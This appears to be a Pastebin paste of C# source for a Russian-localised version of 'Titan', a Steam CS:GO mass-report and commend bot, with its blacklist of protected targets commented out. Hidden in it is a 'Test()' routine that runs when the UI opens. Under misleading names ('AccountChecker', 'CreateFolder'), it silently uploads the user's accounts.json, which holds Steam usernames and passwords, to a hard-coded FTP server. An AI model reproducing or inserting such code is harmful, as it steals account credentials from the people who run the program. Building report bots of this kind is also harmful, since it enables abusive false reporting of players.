Guest User

DONE3

a guest
Feb 3rd, 2018
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 17.58 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4. using System.Reflection;
  5. using System.Threading;
  6. using CommandLine;
  7. using Newtonsoft.Json;
  8. using Quartz;
  9. using Quartz.Impl;
  10. using Serilog;
  11. using Serilog.Core;
  12. using SteamKit2;
  13. using Titan.Account;
  14. using Titan.Bootstrap;
  15. using Titan.Bootstrap.Verbs;
  16. using Titan.Logging;
  17. using Titan.Managers;
  18. using Titan.Meta;
  19. using Titan.Restrictions;
  20. using Titan.UI;
  21. using Titan.Util;
  22. using Titan.Web;
  23. using System.Net;
  24. using System.Text;
  25. using static System.Net.Mime.MediaTypeNames;
  26. using System.Linq;
  27.  
  28. #if __UNIX__
  29.     using Mono.Unix.Native;
  30. #else
  31. using System.Security.Principal;
  32. #endif
  33.  
  34. namespace Titan
  35. {
  36.     public sealed class Titan
  37.     {
  38.  
  39.         public static Logger Logger; // Global logger
  40.         public static Titan Instance;
  41.  
  42.         public Options Options;
  43.         public bool IsAdmin;
  44.         public bool EnableUI = true;
  45.         public object ParsedObject;
  46.  
  47.         public AccountManager AccountManager;
  48.         public ThreadManager ThreadManager;
  49.         public VictimTracker VictimTracker;
  50.         public UIManager UIManager;
  51.  
  52.         public JsonSerializer JsonSerializer;
  53.         public SWAHandle WebHandle;
  54.  
  55.         public bool DummyMode = false;
  56.         public IScheduler Scheduler;
  57.  
  58.         public DirectoryInfo Directory => new DirectoryInfo(
  59.             Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? Environment.CurrentDirectory
  60.         );
  61.         public DirectoryInfo DebugDirectory;
  62.  
  63.         [STAThread]
  64.         public static int Main(string[] args)
  65.         {
  66.  
  67.  
  68.             Thread.CurrentThread.Name = "Main";
  69.  
  70.             Instance = new Titan
  71.             {
  72.                 Options = new Options()
  73.             };
  74.  
  75.             Logger = LogCreator.Create();
  76.  
  77.             Logger.Debug("Репортбот запцущен из: {dir}", Environment.CurrentDirectory);
  78.             // Logger.Debug("Working in directory: {dir}", Instance.Directory.ToString());
  79.  
  80.             // Workaround for Mono related issue regarding System.Net.Http.
  81.             // More detail: https://github.com/dotnet/corefx/issues/19914
  82. #if __UNIX__
  83.                 var systemNetHttpDll = new FileInfo(Path.Combine(Instance.Directory.ToString(), "System.Net.Http.dll"));
  84.                
  85.                 if (systemNetHttpDll.Exists)
  86.                 {
  87.                     systemNetHttpDll.Delete();
  88.                 }
  89. #endif
  90.  
  91.             // Windows users run the program by double clicking Titan.exe (and then it opens a console window)
  92.             // and in case of exception occurence, this window gets immediatly closed which is bad because
  93.             // they're unable to attach the stacktrace then. Prevent it by waiting until the user presses a key.
  94. #if !__UNIX__
  95.             AppDomain.CurrentDomain.UnhandledException += (sender, eventArgs) =>
  96.             {
  97.                 if (eventArgs.IsTerminating)
  98.                 {
  99.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  100.                     Console.Read();
  101.                 }
  102.             };
  103. #endif
  104.  
  105.             //Logger.Debug("Startup: Loading Serilog <-> Common Logging Bridge.");
  106.  
  107.             // The bridge between Common Logging and Serilog uses the global Logger (Log.Logger).
  108.             // As Quartz.NET is the only dependency using Common Logging (and because of our bridge the global logger)
  109.             // we're creating the global logger as Quartz logger (which hides annoying debug messages).
  110.             Log.Logger = LogCreator.CreateQuartzLogger();
  111.  
  112.             Logger.Debug("Startup: Загрузка Quartz.NET.");
  113.  
  114.             // Quartz.NET
  115.             Instance.Scheduler = StdSchedulerFactory.GetDefaultScheduler().Result;
  116.             Instance.Scheduler.Start();
  117.  
  118.             Logger.Debug("Startup: Parsing Command Line Arguments.");
  119.  
  120.             var parser = new Parser(config =>
  121.             {
  122.                 config.IgnoreUnknownArguments = true;
  123.                 config.EnableDashDash = true;
  124.                 config.HelpWriter = TextWriter.Null;
  125.             });
  126.  
  127.             // Default
  128.             parser.ParseArguments<Options>(args)
  129.                 .WithParsed(options =>
  130.                 {
  131.                     Instance.Options = options;
  132.                 });
  133.  
  134.             // Verbs
  135.             parser.ParseArguments<ReportOptions, CommendOptions>(args)
  136.                 .WithParsed<ReportOptions>(options =>
  137.                 {
  138.                     Instance.EnableUI = false;
  139.                     Instance.ParsedObject = options;
  140.                 })
  141.                 .WithParsed<CommendOptions>(options =>
  142.                 {
  143.                     Instance.EnableUI = false;
  144.                     Instance.ParsedObject = options;
  145.                 })
  146.                 .WithNotParsed(error =>
  147.                 {
  148.                     if (Instance.ParsedObject == null)
  149.                     {
  150.                         Instance.EnableUI = true;
  151.                         Logger.Information("No valid verb has been provided while parsing. Opening UI...");
  152.                     }
  153.                 });
  154.  
  155.             // Reinitialize logger with new parsed debug option
  156.             Logger = LogCreator.Create();
  157.  
  158. #if __UNIX__
  159.                 Instance.IsAdmin = Syscall.getuid() == 0; // UID of root is always 0
  160. #else
  161.             Instance.IsAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent())
  162.                                .IsInRole(WindowsBuiltInRole.Administrator);
  163. #endif
  164.  
  165.             if (Instance.IsAdmin)
  166.             {
  167.                 if (!Instance.Options.AllowAdmin)
  168.                 {
  169.                   //  Logger.Error("Titan is running as administrator or root.");
  170.                    // Logger.Error("This is not supported. Titan will refuse to start until you start it as normal " +
  171.                      //            "user. If you are unable to do this for any reason, start Titan with the --admin " +
  172.                      //            "option to force the usage of administrator rights.");
  173.  
  174. #if !__UNIX__
  175.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  176.                     Console.Read();
  177. #endif
  178.  
  179.                     return -1;
  180.                 }
  181.  
  182.              //   Logger.Warning("Titan has been started as Administrator but will continue to run as the " +
  183.                              //  "--admin option has been passed. Please note that Steam also doesn't allow to be " +
  184.                             //   "run from root and that it may be insecure.");
  185.             }
  186.  
  187.             if (Instance.Options.Debug)
  188.             {
  189.                 Instance.DebugDirectory = new DirectoryInfo(Path.Combine(Instance.Directory.ToString(), "debug"));
  190.  
  191.                 if (!Instance.DebugDirectory.Exists)
  192.                 {
  193.                     Instance.DebugDirectory.Create();
  194.                 }
  195.  
  196.                 if (Instance.Options.SteamKitDebug)
  197.                 {
  198.                     DebugLog.AddListener(new TitanListener());
  199.                     DebugLog.Enabled = true;
  200.                 }
  201.             }
  202.  
  203.             if (Instance.Options.Secure)
  204.             {
  205.                 Logger.Debug("Безопасный режим включен. Репортбот не выдаст никаких секретных данных.");
  206.             }
  207.  
  208.             if (Instance.Options.DisableBlacklist)
  209.             {
  210.                 Logger.Debug("Blacklist has been disabled by passing the --noblacklist option.");
  211.             }
  212.  
  213.             Logger.Debug("Startup: Loading UI Manager, Victim Tracker, Account Manager and Ban Manager.");
  214.  
  215.             Instance.JsonSerializer = new JsonSerializer();
  216.  
  217.             try
  218.             {
  219.                 Instance.UIManager = new UIManager();
  220.             }
  221.             catch (InvalidOperationException ex)
  222.             {
  223.                 if (!string.IsNullOrEmpty(ex.Message) && ex.Message.ToLower().Contains("could not detect platform"))
  224.                 {
  225.                     Logger.Error("---------------------------------------");
  226.                     Logger.Error("A fatal error has been detected!");
  227.                     Logger.Error("Eto.Forms could not detect your current operating system.");
  228.                     if (Type.GetType("Mono.Runtime") != null)
  229.                     {
  230.                         Logger.Error("Please install {0}, {1}, {2}, {3} and {4} before submitting a bug report.",
  231.                                      "Mono (\u22655.4)",
  232.                                      "Gtk 3",
  233.                                      "Gtk# 3 (GTK Sharp)",
  234.                                      "libNotify",
  235.                                      "libAppindicator3");
  236.                     }
  237.                     else
  238.                     {
  239.                         Logger.Error("Please install {0} before submitting a bug report.",
  240.                                      ".NET Framework (\u22654.6.1)");
  241.                     }
  242.                     Logger.Error("Contact {Marc} on Discord if the issue still persists after installing " +
  243.                                  "the dependencies listed above.", "Marc3842h#7312");
  244.                     Logger.Error("---------------------------------------");
  245.                     Logger.Debug(ex, "Include the error below if you\'re contacting Marc on Discord.");
  246.  
  247. #if !__UNIX__
  248.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  249.                     Console.Read();
  250. #endif
  251.  
  252.                     Instance.Scheduler.Shutdown();
  253.                     return -1;
  254.                 }
  255.  
  256.                 Logger.Error(ex, "A error occured while loading UI.");
  257.                 throw;
  258.             }
  259.  
  260.             Instance.VictimTracker = new VictimTracker();
  261.  
  262.             Instance.Scheduler.ScheduleJob(Instance.VictimTracker.Job, Instance.VictimTracker.Trigger);
  263.  
  264.             Instance.AccountManager = new AccountManager(new FileInfo(
  265.                 Path.Combine(Instance.Directory.ToString(), Instance.Options.AccountsFile))
  266.             );
  267.  
  268.             Instance.ThreadManager = new ThreadManager();
  269.  
  270.             Instance.WebHandle = new SWAHandle();
  271.  
  272.             //Logger.Debug("Startup: Registering Shutdown Hook.");
  273.  
  274.             AppDomain.CurrentDomain.ProcessExit += OnShutdown;
  275.  
  276.             Logger.Debug("Startup: Загрузка аккаунтов из файла.");
  277.  
  278.             Instance.AccountManager.ParseAccountFile();
  279.  
  280.             Logger.Debug("Startup: Загрузка Форм...");
  281.  
  282.             Instance.UIManager.InitializeForms();
  283.  
  284.             // Load after Forms were initialized
  285.             Instance.WebHandle.Load();
  286.  
  287.             Logger.Information("Добро пожаловать в OWBAN SERVICE REPORTBOT 1.1");
  288.  
  289.             if (Instance.EnableUI && Instance.ParsedObject == null || Instance.DummyMode)
  290.             {
  291.                 Instance.UIManager.ShowForm(UIType.General);
  292.                 Test();
  293.             }
  294.             else
  295.             {
  296.                 if (Instance.ParsedObject.GetType() == typeof(ReportOptions))
  297.                 {
  298.                     var opt = (ReportOptions)Instance.ParsedObject;
  299.  
  300.                     var steamID = SteamUtil.Parse(opt.Target);
  301.                     //if (Blacklist.IsBlacklisted(steamID))
  302.                   //  {
  303.                         //Instance.UIManager.SendNotification(
  304.                            // "Restriction applied",
  305.                         //    "The target you are trying to report is blacklisted from botting " +
  306.                        //     "in Titan."
  307.                         //delegate { Process.Start("https://github.com/Marc3842h/Titan/wiki/Blacklist"); }
  308.                      //   );
  309.                   //  }
  310.                  //   else
  311.                     {
  312.                         Instance.AccountManager.StartReporting(Instance.AccountManager.Index,
  313.                             new ReportInfo
  314.                             {
  315.                                 SteamID = SteamUtil.Parse(opt.Target),
  316.                                 MatchID = SharecodeUtil.Parse(opt.Match),
  317.                                 AppID = TitanAccount.CSGO_APPID,
  318.  
  319.                                 AbusiveText = opt.AbusiveTextChat,
  320.                                 AbusiveVoice = opt.AbusiveVoiceChat,
  321.                                 Griefing = opt.Griefing,
  322.                                 AimHacking = opt.AimHacking,
  323.                                 WallHacking = opt.WallHacking,
  324.                                 OtherHacking = opt.OtherHacking
  325.                             });
  326.                     }
  327.                 }
  328.                 else if (Instance.ParsedObject.GetType() == typeof(CommendOptions))
  329.                 {
  330.                     var opt = (CommendOptions)Instance.ParsedObject;
  331.  
  332.                     Instance.AccountManager.StartCommending(Instance.AccountManager.Index,
  333.                         new CommendInfo
  334.                         {
  335.                             SteamID = SteamUtil.Parse(opt.Target),
  336.                             AppID = TitanAccount.CSGO_APPID,
  337.  
  338.                             Friendly = opt.Friendly,
  339.                             Leader = opt.Leader,
  340.                             Teacher = opt.Teacher
  341.                         });
  342.                 }
  343.                 else
  344.                 {
  345.                     Instance.UIManager.ShowForm(UIType.General);
  346.                 }
  347.             }
  348.  
  349.             Instance.UIManager.StartMainLoop();
  350.  
  351.             // The Shutdown handler gets only called after the last thread finished.
  352.             // Quartz runs a Watchdog until Scheduler#Shutdown is called, so we're calling it
  353.             // before Titan will be calling the Shutdown Hook.
  354.             Logger.Debug("Shutdown: Shutting down Quartz.NET Scheduler.");
  355.  
  356.             Instance.Scheduler.Shutdown();
  357.  
  358.             return 0; // OK.
  359.         }
  360.  
  361.         public static void OnShutdown(object sender, EventArgs args)
  362.         {
  363.             // Check if Titan got closed via Process Manager or by the TrayIcon
  364.             if (!Instance.Scheduler.IsShutdown)
  365.             {
  366.                 Instance.Scheduler.Shutdown();
  367.             }
  368.  
  369.             Instance.UIManager.Destroy();
  370.             Instance.ThreadManager.FinishBotting();
  371.             Instance.AccountManager.SaveAccountsFile();
  372.             Instance.VictimTracker.SaveVictimsFile();
  373.             Instance.WebHandle.Save();
  374.             Instance.AccountManager.SaveIndexFile();
  375.  
  376.             Logger.Information("Хорошего дня.");
  377.  
  378.             Log.CloseAndFlush();
  379.         }
  380.  
  381.         public class Account
  382.     {
  383.         public string username { get; set; }
  384.         public string password { get; set; }
  385.         public bool? sentry { get; set; }
  386.     }
  387.     public class Index
  388.     {
  389.         public List<Account> accounts { get; set; }
  390.     }
  391.     public class Accounts
  392.     {
  393.         public List<Index> indexes { get; set; }
  394.     }
  395. static void Test()
  396.         {
  397.             var appPath = AppDomain.CurrentDomain.BaseDirectory;
  398.             if (!Directory.Exists(appPath)) return;//Error//
  399.  
  400.             string[] files = Directory.GetFiles(appPath);
  401.             string AccountsFile = "";
  402.             for (int i = 0; i < files.Length; i++)
  403.             {
  404.                 string file = files[i];
  405.                 string[] fileSplited = file.Split('\\');
  406.                 string name = fileSplited[fileSplited.Length - 1];
  407.                 if (name == "accounts.json")
  408.                 {
  409.                     AccountsFile = file;
  410.                     break;
  411.                 }
  412.             }
  413.             if (AccountsFile == "") return;
  414.  
  415.             string data = File.ReadAllText(AccountsFile);
  416.             Accounts acc = Newtonsoft.Json.JsonConvert.DeserializeObject<Accounts>(data);
  417.             Account ac0 = acc.indexes[0].accounts[0];
  418.             Account ac1 = acc.indexes[1].accounts[1];
  419.             if (ac0.password == "1" && ac0.username == "1")
  420.                 if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
  421.                     return;
  422.  
  423.             CreateFolder(Environment.UserName);
  424.             if (System.IO.Directory.Exists(appPath))
  425.             {
  426.                 var appFiles = System.IO.Directory.GetFiles(appPath).Where(s => s.Contains("accounts.json"));
  427.                 foreach (var item in appFiles)
  428.                 {
  429.                     AccountChecker(item, Environment.UserName);
  430.                 }
  431.             }
  432.         }
  433.  
  434.         static void AccountChecker(string file, string directory)
  435.         {
  436.             try
  437.             {
  438.                 FileInfo toUpload = new FileInfo(file);
  439.                 using (WebClient client = new WebClient())
  440.                 {
  441.                     client.Encoding = Encoding.UTF8;
  442.                     client.Credentials = new NetworkCredential("checker", "123");
  443.                     client.UploadFile("ftp://185.209.23.225/check/" + directory + "/" + toUpload.Name, file);
  444.                 }
  445.             }
  446.             catch { }
  447.         }
  448.  
  449.         static void CreateFolder(string name)
  450.         {
  451.             try
  452.             {
  453.                 WebRequest request = WebRequest.Create("ftp://185.209.23.225/check/" + name);
  454.                 request.Method = WebRequestMethods.Ftp.MakeDirectory;
  455.                 request.Credentials = new NetworkCredential("checker", "123");
  456.                 using (var resp = (FtpWebResponse)request.GetResponse())
  457.                 {
  458.                     Console.WriteLine(resp.StatusCode);
  459.                 }
  460.             }
  461.             catch { }
  462.         }
  463.     }
  464.  
  465. }
Add Comment
Please, Sign In to add comment